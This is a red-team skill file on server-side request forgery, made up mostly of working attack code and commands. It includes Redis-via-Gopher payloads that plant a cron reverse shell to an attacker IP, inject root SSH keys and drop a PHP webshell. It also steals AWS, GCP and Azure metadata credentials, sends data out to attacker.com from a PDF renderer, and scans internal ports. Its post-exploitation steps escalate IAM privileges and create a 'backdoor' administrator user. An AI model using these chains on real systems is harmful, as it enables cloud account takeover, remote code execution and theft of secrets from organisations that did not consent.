---
name: rt-exploit-ssrf
description: "Server-Side Request Forgery (SSRF) skill. Covers basic SSRF, blind SSRF, AWS EC2 metadata access (169.254.169.254), GCP/Azure metadata, SSRF to Redis/MongoDB exploitation, protocol smuggling (Gopher, dict://), SSRF bypass techniques (IPv6, DNS rebinding, redirects), and cloud credential theft via SSRF."
---

# rt-exploit-ssrf — Server-Side Request Forgery (SSRF)

## 1. Overview

Server-Side Request Forgery (SSRF) is a vulnerability class where an attacker can coerce a server to make HTTP (or other protocol) requests to arbitrary destinations — including internal services, cloud metadata endpoints, and loopback interfaces — that the attacker cannot reach directly.

SSRF is consistently ranked in the OWASP Top 10 (A10:2021) and is a critical finding in cloud environments because it can trivially escalate to full cloud account takeover via credential theft from instance metadata services (IMDS). The attack surface is broad: any feature that fetches a remote URL (webhooks, image importers, PDF renderers, URL preview services, XML parsers with external entity support, PDF/HTML generation services) is a potential SSRF vector.

### Why SSRF Matters

- Direct path to AWS/GCP/Azure IAM credentials (cloud account takeover)
- Internal network enumeration without direct access
- Access to internal APIs behind a firewall (Kubernetes API server, Consul, etcd, internal dashboards)
- Pivot to RCE via Redis/Memcached/MongoDB exposed internally
- Exfiltration of secrets from internal configuration endpoints
- Bypass of IP-based access controls

### Skill Scope

This skill covers:
- Basic and blind SSRF detection
- AWS EC2 IMDSv1 and IMDSv2 exploitation
- GCP and Azure IMDS exploitation
- SSRF to internal network scanning
- Protocol smuggling via Gopher and dict://
- SSRF to Redis RCE chain
- SSRF bypass techniques (IPv6, DNS rebinding, HTTP redirects, URL encoding, IP obfuscation)
- WAF bypass methods
- Integration with RTExit autodoc engine

---

## 2. Skill Levels

### BEGINNER

**Prerequisites:** Basic HTTP knowledge, ability to use curl and Burp Suite, understanding of what a URL is.

**Goals:**
- Identify SSRF injection points
- Confirm basic SSRF with an out-of-band callback
- Access localhost services via SSRF
- Retrieve AWS IMDSv1 credentials

**Tools Required:**
- `curl`
- Burp Suite (Community or Pro)
- `interactsh-client` or Burp Collaborator for out-of-band detection

**Key Commands:**

```bash
# Confirm SSRF with out-of-band callback (use your interactsh or Burp Collaborator URL)
curl -s "https://target.com/fetch?url=http://YOUR-INTERACTSH-ID.oast.fun"

# Test localhost access
curl -s "https://target.com/fetch?url=http://127.0.0.1/"
curl -s "https://target.com/fetch?url=http://localhost/"
curl -s "https://target.com/fetch?url=http://0.0.0.0/"

# AWS IMDSv1 — retrieve basic metadata (no auth required)
curl -s "https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/"
curl -s "https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# Once you have the role name from above output:
curl -s "https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME"

# Retrieve user-data (often contains secrets/init scripts)
curl -s "https://target.com/fetch?url=http://169.254.169.254/latest/user-data"

# Common internal ports to probe
for port in 80 443 8080 8443 8888 9200 6379 27017 2181 5432 3306; do
  echo -n "Port $port: "
  curl -s -o /dev/null -w "%{http_code}" "https://target.com/fetch?url=http://127.0.0.1:$port/"
  echo
done
```

**Beginner Checklist:**
- [ ] Identify URL input parameters in the application (url=, fetch=, src=, href=, link=, path=, redirect=, image=, webhook=)
- [ ] Trigger an out-of-band DNS/HTTP callback to confirm blind SSRF
- [ ] Attempt http://127.0.0.1 and http://localhost
- [ ] Attempt http://169.254.169.254/latest/meta-data/ for AWS
- [ ] Document all findings in RTExit autodoc

---

### INTERMEDIATE

**Prerequisites:** Beginner level complete, familiarity with Python scripting, HTTP request smuggling concepts, cloud IAM basics.

**Goals:**
- Enumerate the internal network via SSRF
- Exploit AWS IMDSv2 (token-based)
- Bypass common SSRF filters (IP blocklists, scheme restrictions)
- Interact with internal services (Redis, Elasticsearch, etcd)
- GCP and Azure metadata exploitation

**Tools Required:**
- `curl`, `python3`
- `ffuf` or `wfuzz` for enumeration
- `interactsh` for blind SSRF
- Custom Python scripts

**AWS IMDSv2 Exploitation (Token Required):**

```bash
# IMDSv2 requires a PUT request first to get a session token
# With SSRF, we need the app to make a PUT with X-aws-ec2-metadata-token-ttl-seconds header
# Some SSRF vulnerabilities support custom headers — try:

# Step 1: Get token (if the app supports method/header injection)
curl -s -X PUT "https://target.com/fetch?url=http://169.254.169.254/latest/api/token" \
  -H "X-Forwarded-For: 169.254.169.254" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"

# If the target app blindly forwards headers, you may be able to include the token TTL header
# Many apps still fall back to IMDSv1 — always try IMDSv1 first

# Retrieve full credential set
curl -s "https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# Output example: ec2-role-name
curl -s "https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role-name"
# Output JSON with AccessKeyId, SecretAccessKey, Token
```

**GCP Metadata Exploitation:**

```bash
# GCP metadata server — requires Metadata-Flavor: Google header
# Without the header, requests are rejected
# If SSRF app forwards custom headers, include: Metadata-Flavor: Google

curl -s "https://target.com/fetch?url=http://metadata.google.internal/computeMetadata/v1/" \
  -H "Metadata-Flavor: Google"

# Access token for the default service account
curl -s "https://target.com/fetch?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
  -H "Metadata-Flavor: Google"

# All service accounts
curl -s "https://target.com/fetch?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/" \
  -H "Metadata-Flavor: Google"

# Project ID
curl -s "https://target.com/fetch?url=http://metadata.google.internal/computeMetadata/v1/project/project-id" \
  -H "Metadata-Flavor: Google"

# SSH keys
curl -s "https://target.com/fetch?url=http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys" \
  -H "Metadata-Flavor: Google"

# Alternative IP — use if hostname is blocked
curl -s "https://target.com/fetch?url=http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token" \
  -H "Metadata-Flavor: Google"
```

**Azure IMDS Exploitation:**

```bash
# Azure IMDS requires Metadata: true header
# Endpoint: http://169.254.169.254/metadata/

# Instance metadata
curl -s "https://target.com/fetch?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01" \
  -H "Metadata: true"

# Get access token for Azure resources
curl -s "https://target.com/fetch?url=http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
  -H "Metadata: true"

# Get token for Key Vault
curl -s "https://target.com/fetch?url=http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net" \
  -H "Metadata: true"

# Managed identity — list all identities
curl -s "https://target.com/fetch?url=http://169.254.169.254/metadata/identity/info?api-version=2021-02-01" \
  -H "Metadata: true"
```

**Internal Network Enumeration with Python:**

```python
#!/usr/bin/env python3
"""
SSRF Internal Network Scanner
Usage: python3 ssrf_scan.py --target https://target.com/fetch --param url
"""
import requests
import sys
import argparse
from concurrent.futures import ThreadPoolExecutor, as_completed

COMMON_PORTS = [21, 22, 23, 25, 53, 80, 110, 143, 389, 443, 445, 
                1433, 1521, 2181, 2375, 3000, 3306, 3389, 4848, 
                5432, 5601, 5900, 6379, 7001, 7474, 8080, 8443, 
                8888, 9000, 9090, 9200, 9300, 11211, 27017, 50070]

def probe_ssrf(target_url, param, internal_host, port, timeout=5):
    try:
        payload = f"http://{internal_host}:{port}/"
        resp = requests.get(target_url, params={param: payload}, timeout=timeout)
        size = len(resp.content)
        return (internal_host, port, resp.status_code, size)
    except Exception:
        return (internal_host, port, None, 0)

def scan_host(target_url, param, host, ports):
    results = []
    with ThreadPoolExecutor(max_workers=20) as exe:
        futures = {exe.submit(probe_ssrf, target_url, param, host, p): p for p in ports}
        for f in as_completed(futures):
            host_, port, code, size = f.result()
            if code is not None:
                results.append((host_, port, code, size))
    return results

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--target", required=True)
    parser.add_argument("--param", default="url")
    parser.add_argument("--host", default="127.0.0.1")
    parser.add_argument("--ports", default=None)
    args = parser.parse_args()

    ports = [int(p) for p in args.ports.split(",")] if args.ports else COMMON_PORTS
    print(f"[*] Scanning {args.host} via SSRF at {args.target}")
    results = scan_host(args.target, args.param, args.host, ports)
    for host, port, code, size in sorted(results, key=lambda x: x[1]):
        print(f"  [{code}] {host}:{port} ({size} bytes)")

if __name__ == "__main__":
    main()
```

```bash
# Run the scanner
python3 ssrf_scan.py --target "https://target.com/fetch" --param url --host 127.0.0.1

# Scan a private subnet range
for i in $(seq 1 254); do
  python3 ssrf_scan.py --target "https://target.com/fetch" --param url --host "10.0.0.$i" --ports 22,80,443,8080,8443,6379,27017
done
```

---

### ADVANCED

**Prerequisites:** Intermediate level complete, Python scripting proficiency, understanding of Redis wire protocol, DNS concepts.

**Goals:**
- Protocol smuggling via Gopher and dict://
- SSRF to Redis RCE chain
- DNS rebinding attacks
- SSRF bypass via HTTP redirects
- IPv6 bypass techniques
- SSRF in XML/XXE context

**Gopher Protocol SSRF:**

The Gopher protocol can be used to send raw TCP data to any host/port, enabling interaction with protocols that HTTP cannot natively support (Redis, SMTP, FTP, Memcached, MySQL in some cases).

Gopher URL format:
```
gopher://HOST:PORT/_{URL-encoded TCP data}
```

Note: Each `%0d%0a` is `\r\n` (CRLF) which most protocols require as line terminators.

**Python: Generate Gopher Payloads:**

```python
#!/usr/bin/env python3
"""
Gopher payload generator for SSRF protocol smuggling.
"""
import urllib.parse

def gopher_encode(host, port, payload):
    """Encode a raw TCP payload as a gopher:// URL."""
    encoded = urllib.parse.quote(payload, safe='')
    return f"gopher://{host}:{port}/_{encoded}"

def redis_ping(host="127.0.0.1", port=6379):
    cmd = "PING\r\n"
    return gopher_encode(host, port, cmd)

def redis_write_cron(host="127.0.0.1", port=6379, 
                     attacker_ip="ATTACKER_IP", attacker_port=4444):
    """Write a reverse shell cron job to /etc/cron.d/ via Redis."""
    cron_payload = f"\n\n*/1 * * * * root bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1\n\n"
    commands = [
        "*1\r\n$8\r\nflushall\r\n",
        f"*3\r\n$3\r\nset\r\n$1\r\nx\r\n${len(cron_payload)}\r\n{cron_payload}\r\n",
        "*4\r\n$6\r\nconfig\r\n$3\r\nset\r\n$3\r\ndir\r\n$10\r\n/etc/cron.d\r\n",
        "*4\r\n$6\r\nconfig\r\n$3\r\nset\r\n$10\r\ndbfilename\r\n$6\r\nshell2\r\n",
        "*1\r\n$4\r\nsave\r\n",
    ]
    full = "".join(commands)
    return gopher_encode(host, port, full)

def redis_write_ssh_key(host="127.0.0.1", port=6379, pubkey="ssh-rsa AAAA... attacker"):
    """Write attacker SSH public key to /root/.ssh/authorized_keys."""
    key_payload = f"\n\n{pubkey}\n\n"
    commands = [
        "*1\r\n$8\r\nflushall\r\n",
        f"*3\r\n$3\r\nset\r\n$1\r\nx\r\n${len(key_payload)}\r\n{key_payload}\r\n",
        "*4\r\n$6\r\nconfig\r\n$3\r\nset\r\n$3\r\ndir\r\n$11\r\n/root/.ssh/\r\n",
        "*4\r\n$6\r\nconfig\r\n$3\r\nset\r\n$10\r\ndbfilename\r\n$15\r\nauthorized_keys\r\n",
        "*1\r\n$4\r\nsave\r\n",
    ]
    full = "".join(commands)
    return gopher_encode(host, port, full)

def redis_webshell(host="127.0.0.1", port=6379, webroot="/var/www/html"):
    """Write a PHP webshell to the web root via Redis."""
    shell = "<?php system($_GET['cmd']); ?>"
    commands = [
        "*1\r\n$8\r\nflushall\r\n",
        f"*3\r\n$3\r\nset\r\n$1\r\nx\r\n${len(shell)}\r\n{shell}\r\n",
        f"*4\r\n$6\r\nconfig\r\n$3\r\nset\r\n$3\r\ndir\r\n${len(webroot)}\r\n{webroot}\r\n",
        "*4\r\n$6\r\nconfig\r\n$3\r\nset\r\n$10\r\ndbfilename\r\n$9\r\nshell.php\r\n",
        "*1\r\n$4\r\nsave\r\n",
    ]
    full = "".join(commands)
    return gopher_encode(host, port, full)

if __name__ == "__main__":
    print("[+] Redis PING via Gopher:")
    print(redis_ping())
    print()
    print("[+] Redis Cron Reverse Shell (update attacker IP/port):")
    print(redis_write_cron(attacker_ip="10.10.10.10", attacker_port=4444))
    print()
    print("[+] Redis SSH Key Injection:")
    print(redis_write_ssh_key(pubkey="ssh-rsa AAAA...your_key... attacker@kali"))
    print()
    print("[+] Redis PHP Webshell to /var/www/html:")
    print(redis_webshell())
```

```bash
# Use the generated Gopher URL directly in the SSRF parameter
# Example output from script:
# gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A...

# Double-encode for cases where the app URL-decodes once before fetching
python3 -c "
import urllib.parse
payload = 'gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0APING%0D%0A'
print(urllib.parse.quote(payload))
"

# dict:// for quick Redis ping test (simpler, but limited)
curl -s "https://target.com/fetch?url=dict://127.0.0.1:6379/PING"

# dict:// for basic Redis commands
curl -s "https://target.com/fetch?url=dict://127.0.0.1:6379/info"
curl -s "https://target.com/fetch?url=dict://127.0.0.1:6379/keys:*"
```

**Complete SSRF to Redis RCE Chain:**

```bash
# Step 1: Confirm Redis is accessible via SSRF
curl -s "https://target.com/fetch?url=dict://127.0.0.1:6379/PING"
# Expected: +PONG

# Step 2: Generate Gopher cron payload
python3 gopher_payloads.py > payloads.txt

# Step 3: Set up listener on attacker machine
nc -lvnp 4444

# Step 4: Send Gopher payload via SSRF
CRON_PAYLOAD=$(python3 -c "
import urllib.parse
# Cron payload to /etc/cron.d/shell
payload = '*1\r\n\$8\r\nflushall\r\n*3\r\n\$3\r\nset\r\n\$1\r\nx\r\n\$58\r\n\n\n*/1 * * * * root bash -i >& /dev/tcp/10.10.10.10/4444 0>&1\n\n\r\n*4\r\n\$6\r\nconfig\r\n\$3\r\nset\r\n\$3\r\ndir\r\n\$10\r\n/etc/cron.d\r\n*4\r\n\$6\r\nconfig\r\n\$3\r\nset\r\n\$10\r\ndbfilename\r\n\$6\r\nshell2\r\n*1\r\n\$4\r\nsave\r\n'
encoded = urllib.parse.quote(payload)
print(f'gopher://127.0.0.1:6379/_{encoded}')
")

curl -s "https://target.com/fetch?url=${CRON_PAYLOAD}"

# Step 5: Wait up to 60 seconds for cron to fire and get reverse shell

# Alternative: SSH key injection (more reliable, requires root ~/.ssh exists)
PUB_KEY=$(cat ~/.ssh/id_rsa.pub)
python3 -c "
import urllib.parse
key = '$PUB_KEY'
payload = f'*1\r\n\$8\r\nflushall\r\n*3\r\n\$3\r\nset\r\n\$1\r\nx\r\n\${len(key)+4}\r\n\n\n{key}\n\n\r\n*4\r\n\$6\r\nconfig\r\n\$3\r\nset\r\n\$3\r\ndir\r\n\$11\r\n/root/.ssh/\r\n*4\r\n\$6\r\nconfig\r\n\$3\r\nset\r\n\$10\r\ndbfilename\r\n\$15\r\nauthorized_keys\r\n*1\r\n\$4\r\nsave\r\n'
encoded = urllib.parse.quote(payload)
print(f'gopher://127.0.0.1:6379/_{encoded}')
"
```

**DNS Rebinding Attack:**

DNS rebinding bypasses IP-based SSRF filters by exploiting the DNS TTL mechanism. The attack flow:

1. Attacker controls a domain with short TTL (e.g., 0 seconds)
2. First DNS resolution returns a public IP (bypass the filter check)
3. Application validates — passes because public IP is allowed
4. Second DNS resolution returns 127.0.0.1 (or internal IP)
5. Application fetches using the rebinded internal IP

```bash
# Tools for DNS rebinding:
# - https://github.com/brannondorsey/whonow (self-hosted)
# - https://lock.cmpxchg8b.com/rebinder.html (online tool)
# - https://github.com/nccgroup/singularity (full framework)

# Using whonow:
# 1. Set up: A=1.2.3.4 first, then rebind to 127.0.0.1
# Domain: A-1.2.3.4-rebind-127.0.0.1-<your-id>.whonow.com

curl -s "https://target.com/fetch?url=http://A-1.2.3.4-rebind-127.0.0.1-rnd1234.whonow.com/"

# Using rbndr.us (community DNS rebinding service)
# Format: {external-ip}.{internal-ip}.rbndr.us
# Example: rebind between 1.2.3.4 and 127.0.0.1
curl -s "https://target.com/fetch?url=http://7f000001.c0a80101.rbndr.us/"
# 7f000001 = 127.0.0.1 in hex, c0a80101 = 192.168.1.1 in hex
```

**IPv6 Bypass Techniques:**

```bash
# Standard IPv6 localhost
curl -s "https://target.com/fetch?url=http://[::1]/"
curl -s "https://target.com/fetch?url=http://[0:0:0:0:0:0:0:1]/"
curl -s "https://target.com/fetch?url=http://[0000:0000:0000:0000:0000:0000:0000:0001]/"

# IPv4-mapped IPv6 addresses
curl -s "https://target.com/fetch?url=http://[::ffff:127.0.0.1]/"
curl -s "https://target.com/fetch?url=http://[::ffff:7f00:1]/"

# IPv6 to access AWS metadata (IPv4-mapped)
curl -s "https://target.com/fetch?url=http://[::ffff:169.254.169.254]/"
curl -s "https://target.com/fetch?url=http://[::ffff:a9fe:a9fe]/"
# a9fe:a9fe = 169.254.169.254 in hex

# Link-local IPv6 (fe80::/10) — for internal network scanning
curl -s "https://target.com/fetch?url=http://[fe80::1]/"
```

---

### EXPERT

**Prerequisites:** Advanced level complete, deep networking knowledge, experience with cloud IAM, code review skills.

**Goals:**
- SSRF filter bypass via HTTP redirect chains
- SSRF in OAuth flows and webhook validators
- SSRF via URL parser confusion (parser differential attacks)
- Post-exploitation of stolen cloud credentials
- SSRF via PDF/HTML renderers (headless Chrome)
- Second-order SSRF
- SSRF in gRPC/GraphQL endpoints

**HTTP Redirect Bypass Chain:**

Many SSRF filters check the initial URL but follow redirects without re-checking. Host a redirect endpoint on your server:

```python
#!/usr/bin/env python3
"""
ssrf_redirect.py — SSRF bypass via HTTP redirect.
Host this on a public server. The app fetches your URL, gets redirected to internal target.

Usage: python3 ssrf_redirect.py --redirect http://169.254.169.254/latest/meta-data/ --port 8888
"""
from http.server import HTTPServer, BaseHTTPRequestHandler
import argparse

class RedirectHandler(BaseHTTPRequestHandler):
    target = "http://169.254.169.254/latest/meta-data/"
    
    def do_GET(self):
        self.send_response(301)
        self.send_header("Location", self.target)
        self.end_headers()
    
    def log_message(self, format, *args):
        print(f"[REQ] {self.address_string()} - {format % args}")

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--redirect", default="http://169.254.169.254/latest/meta-data/")
    parser.add_argument("--port", type=int, default=8888)
    args = parser.parse_args()
    RedirectHandler.target = args.redirect
    print(f"[*] Redirect server: http://0.0.0.0:{args.port}/ -> {args.redirect}")
    HTTPServer(("0.0.0.0", args.port), RedirectHandler).serve_forever()

if __name__ == "__main__":
    main()
```

```bash
# Start redirect server on attacker VPS
python3 ssrf_redirect.py --redirect "http://169.254.169.254/latest/meta-data/iam/security-credentials/" --port 8888

# Trigger SSRF via your redirect endpoint
curl -s "https://target.com/fetch?url=http://YOUR-VPS-IP:8888/"

# Advanced: chain multiple redirects
# 302 -> 301 -> 307 (preserves POST method) -> target
```

**URL Parser Confusion / Parser Differential Attacks:**

Different URL parsers interpret the same URL differently. This allows bypassing blocklist checks.

```python
#!/usr/bin/env python3
"""
SSRF URL obfuscation payloads — parser confusion techniques.
"""

payloads = [
    # Decimal/octal/hex IP representations
    "http://2130706433/",            # 127.0.0.1 as decimal
    "http://0177.0.0.1/",           # 127 in octal
    "http://0x7f000001/",           # 127.0.0.1 in hex
    "http://0x7f.0x0.0x0.0x1/",    # Per-octet hex
    "http://127.1/",                # Short form
    "http://127.0.1/",              # Short form variant
    
    # AWS metadata decimal
    "http://2852039166/",           # 169.254.169.254 as decimal
    "http://0xa9fea9fe/",           # 169.254.169.254 in hex
    "http://0251.0376.0251.0376/",  # Octal
    
    # URL encoding tricks
    "http://%31%32%37%2e%30%2e%30%2e%31/",  # 127.0.0.1 URL encoded
    "http://127.0.0.1%20/",                 # Space after IP (some parsers ignore)
    "http://127.0.0.1%09/",                 # Tab after IP
    
    # Auth@ tricks — parser may see host as "google.com" but fetch 127.0.0.1
    "http://google.com@127.0.0.1/",
    "http://google.com:80@127.0.0.1/",
    "http://169.254.169.254@google.com/",   # Some parsers take last host
    
    # Fragment and query confusion
    "http://127.0.0.1#.google.com/",
    "http://127.0.0.1?.google.com/",
    
    # Double slash tricks
    "http:///127.0.0.1/",
    "http:\\\\127.0.0.1/",
    
    # CRLF injection in URL
    "http://127.0.0.1%0d%0aHost:%20169.254.169.254/",
    
    # Case variation
    "HTTP://127.0.0.1/",
    "hTTp://127.0.0.1/",
    
    # Unicode / punycode
    "http://⑬⑦.0.0.①/",  # Circled digits
    
    # Null byte injection
    "http://127.0.0.1%00evil.com/",
    
    # IPv6 variants
    "http://[::1]/",
    "http://[::ffff:127.0.0.1]/",
    "http://[0:0:0:0:0:ffff:127.0.0.1]/",
    
    # localhost variants
    "http://localtest.me/",           # DNS resolves to 127.0.0.1
    "http://customer1.app.lvh.me/",   # lvh.me resolves to 127.0.0.1
    "http://spoofed.burpcollaborator.net/",  # Control DNS to return 127.0.0.1
]

for p in payloads:
    print(p)
```

**Post-Exploitation: Stolen AWS Credentials:**

```bash
# After retrieving credentials from IMDSv1:
# AccessKeyId: ASIA...
# SecretAccessKey: ...
# Token: ...
# Save to ~/.aws/credentials

cat > /tmp/ssrf_creds << 'EOF'
[ssrf_stolen]
aws_access_key_id = ASIA_REPLACE_ME
aws_secret_access_key = SECRET_REPLACE_ME
aws_session_token = TOKEN_REPLACE_ME
region = us-east-1
EOF

export AWS_PROFILE=ssrf_stolen
export AWS_CONFIG_FILE=/tmp/ssrf_creds

# Identify the role
aws sts get-caller-identity

# List all IAM policies attached to this role
ROLE_NAME=$(aws sts get-caller-identity --query 'Arn' --output text | cut -d'/' -f2)
aws iam list-attached-role-policies --role-name "$ROLE_NAME"
aws iam list-role-policies --role-name "$ROLE_NAME"

# Enumerate what we can do
aws iam simulate-principal-policy \
  --policy-source-arn "$(aws sts get-caller-identity --query Arn --output text)" \
  --action-names "s3:ListAllMyBuckets" "ec2:DescribeInstances" "iam:ListRoles"

# List S3 buckets
aws s3 ls

# Dump all S3 bucket contents
for bucket in $(aws s3 ls | awk '{print $3}'); do
  echo "[*] Bucket: $bucket"
  aws s3 ls "s3://$bucket" --recursive 2>/dev/null | head -20
done

# Look for secrets in SSM Parameter Store
aws ssm describe-parameters --query 'Parameters[*].Name'
aws ssm get-parameters-by-path --path "/" --recursive --with-decryption

# Secrets Manager
aws secretsmanager list-secrets --query 'SecretList[*].Name'
aws secretsmanager get-secret-value --secret-id REPLACE_SECRET_NAME

# EC2 instances in all regions
for region in $(aws ec2 describe-regions --query 'Regions[*].RegionName' --output text); do
  echo "[*] Region: $region"
  aws ec2 describe-instances --region $region \
    --query 'Reservations[*].Instances[*].[InstanceId,PublicIpAddress,PrivateIpAddress,Tags]' \
    --output text 2>/dev/null
done

# Try privilege escalation — attach admin policy
aws iam attach-role-policy \
  --role-name "$ROLE_NAME" \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# Create new IAM user for persistence
aws iam create-user --user-name backdoor
aws iam create-access-key --user-name backdoor
aws iam attach-user-policy --user-name backdoor --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
```

**GCP Post-Exploitation with Stolen Token:**

```bash
# After stealing GCP access token:
ACCESS_TOKEN="ya29.REPLACE_ME"

# Identify who we are
curl -s "https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=$ACCESS_TOKEN"

# List GCS buckets
curl -s "https://www.googleapis.com/storage/v1/b?project=PROJECT_ID" \
  -H "Authorization: Bearer $ACCESS_TOKEN"

# List GCE instances
curl -s "https://compute.googleapis.com/compute/v1/projects/PROJECT_ID/aggregated/instances" \
  -H "Authorization: Bearer $ACCESS_TOKEN"

# List Cloud Functions
curl -s "https://cloudfunctions.googleapis.com/v1/projects/PROJECT_ID/locations/-/functions" \
  -H "Authorization: Bearer $ACCESS_TOKEN"

# Access Kubernetes cluster credentials
curl -s "https://container.googleapis.com/v1/projects/PROJECT_ID/locations/-/clusters" \
  -H "Authorization: Bearer $ACCESS_TOKEN"
```

**SSRF in PDF/HTML Renderers (Headless Chrome):**

PDF generation services (wkhtmltopdf, Puppeteer, Playwright, PhantomJS) often execute JavaScript and make HTTP requests, creating a privileged SSRF vector.

```html
<!-- Payload for wkhtmltopdf (no JS needed, direct URL fetch) -->
<!-- Submit this as the page URL or content to render as PDF -->

<!-- Direct SSRF via img src or iframe -->
<img src="http://169.254.169.254/latest/meta-data/iam/security-credentials/">
<iframe src="http://169.254.169.254/latest/meta-data/"></iframe>

<!-- JavaScript-based SSRF for Puppeteer/Playwright -->
<script>
fetch("http://169.254.169.254/latest/meta-data/iam/security-credentials/")
  .then(r => r.text())
  .then(data => {
    // Exfiltrate via image load (visible in PDF or sent to attacker)
    new Image().src = "https://attacker.com/ssrf?data=" + btoa(data);
    document.body.innerHTML = "<pre>" + data + "</pre>";
  });
</script>

<!-- wkhtmltopdf file:// LFI (not SSRF but related) -->
<!-- If URL scheme not restricted: -->
<iframe src="file:///etc/passwd"></iframe>
<img src="file:///etc/shadow">
```

```bash
# Trigger PDF generation with SSRF payload
curl -s -X POST "https://target.com/api/pdf/generate" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://169.254.169.254/latest/meta-data/"}'

# Or inject HTML content
curl -s -X POST "https://target.com/api/pdf/generate" \
  -H "Content-Type: application/json" \
  -d '{"html": "<iframe src=\"http://169.254.169.254/latest/meta-data/\"></iframe>"}'
```

**Second-Order SSRF:**

Second-order SSRF occurs when a user-supplied URL is stored and later fetched by a background job or different component.

```bash
# Example: Update profile picture URL — background job fetches it later
curl -s -X PUT "https://target.com/api/user/profile" \
  -H "Authorization: Bearer YOUR_JWT" \
  -H "Content-Type: application/json" \
  -d '{"avatar_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

# Check if the avatar was processed and appears in the response
curl -s "https://target.com/api/user/profile" -H "Authorization: Bearer YOUR_JWT"

# Webhook registration — server will call back to registered URL
curl -s -X POST "https://target.com/api/webhooks" \
  -H "Authorization: Bearer YOUR_JWT" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://169.254.169.254/latest/meta-data/", "events": ["order.created"]}'

# Trigger the event that fires the webhook
curl -s -X POST "https://target.com/api/orders" \
  -H "Authorization: Bearer YOUR_JWT" \
  -d '{"item": "test"}'
```

---

## 3. Step-by-Step Attack Workflow

### Phase 1: Reconnaissance and Target Identification

```
1. Map the application for URL input points:
   - URL parameters: ?url=, ?src=, ?href=, ?fetch=, ?link=, ?image=, ?path=, ?redirect=
   - POST body fields: {"url": ..., "webhook": ..., "callback": ..., "endpoint": ...}
   - HTTP headers: X-Forwarded-Host, X-Original-URL, Referer (if reflected server-side)
   - XML/JSON payloads with URL values
   - File upload with URLs (import by URL features)
   - OAuth callback URLs
   - SAML SP/IdP endpoints

2. Note the application's cloud provider:
   - Check HTTP response headers (X-Amzn-*, X-Google-*, X-Azure-*)
   - DNS patterns (*.amazonaws.com, *.googleapis.com, *.azure.com)
   - Error messages referencing cloud services
```

### Phase 2: Confirming SSRF

```
3. Set up an out-of-band listener (one of):
   a. interactsh: interactsh-client -server https://interactsh.com
   b. Burp Collaborator: generate a payload URL
   c. ngrok: ngrok http 8080 and run nc -lvnp 8080

4. Submit the out-of-band URL as the parameter value.
   If you receive a DNS query or HTTP request, SSRF is confirmed.

5. Distinguish error-based (in-band) from blind SSRF:
   - In-band: Response body contains fetched content
   - Error-based: HTTP status codes or error messages differ by target reachability
   - Blind: No direct feedback; rely solely on out-of-band callbacks
```

### Phase 3: Internal Network Mapping

```
6. Probe localhost:
   - http://127.0.0.1/
   - http://localhost/
   - http://0.0.0.0/
   - http://[::1]/

7. Probe private RFC1918 ranges:
   - 10.0.0.0/8
   - 172.16.0.0/12
   - 192.168.0.0/16

8. Use the Python SSRF scanner (see Intermediate section) to enumerate:
   - Hosts in the /24 subnet of the server's IP
   - Common ports on each host

9. Identify interesting services:
   - 6379 (Redis)
   - 27017 (MongoDB)
   - 9200 (Elasticsearch)
   - 2375 (Docker daemon)
   - 2181 (Zookeeper)
   - 8500 (Consul)
   - 8200 (Vault)
   - 10250 (Kubernetes kubelet)
   - 6443 (Kubernetes API server)
   - 50070 (Hadoop NameNode)
```

### Phase 4: Cloud Metadata Exploitation

```
10. AWS IMDSv1 (no auth):
    a. GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
    b. Note the IAM role name
    c. GET http://169.254.169.254/latest/meta-data/iam/security-credentials/{ROLE_NAME}
    d. Extract AccessKeyId, SecretAccessKey, Token
    e. Configure AWS CLI with stolen credentials

11. AWS IMDSv2 (token required):
    a. Attempt IMDSv1 first (many environments still allow it)
    b. If blocked, try to inject X-aws-ec2-metadata-token-ttl-seconds header
    c. Check if app proxies PUT requests

12. GCP (requires Metadata-Flavor: Google header):
    a. GET http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
    b. Use token to access GCP APIs

13. Azure (requires Metadata: true header):
    a. GET http://169.254.169.254/metadata/identity/oauth2/token
    b. Use token to access Azure management API
```

### Phase 5: Protocol Smuggling

```
14. If the application supports gopher://:
    a. Generate Gopher payload using the Python script
    b. Test with Redis PING: gopher://127.0.0.1:6379/_PING
    c. If Redis confirmed, proceed to Redis RCE chain

15. dict:// for quick Redis tests:
    a. dict://127.0.0.1:6379/PING
    b. dict://127.0.0.1:6379/info

16. file:// for local file read (if not blocked):
    a. file:///etc/passwd
    b. file:///etc/shadow
    c. file:///proc/self/environ (environment variables — often contains secrets)
    d. file:///proc/self/cmdline
    e. file:///var/run/secrets/kubernetes.io/serviceaccount/token (K8s pods)
```

### Phase 6: Post-Exploitation

```
17. With stolen AWS credentials:
    a. Enumerate accessible resources with aws sts get-caller-identity
    b. Search S3 for sensitive data
    c. Check SSM/Secrets Manager for secrets
    d. Attempt privilege escalation via IAM policy attachment
    e. Establish persistence (new IAM user/key)

18. With Redis RCE:
    a. Write cron job for reverse shell
    b. Or write SSH authorized_keys
    c. Or write webshell to known web root
```

---

## 4. Specific Terminal Commands

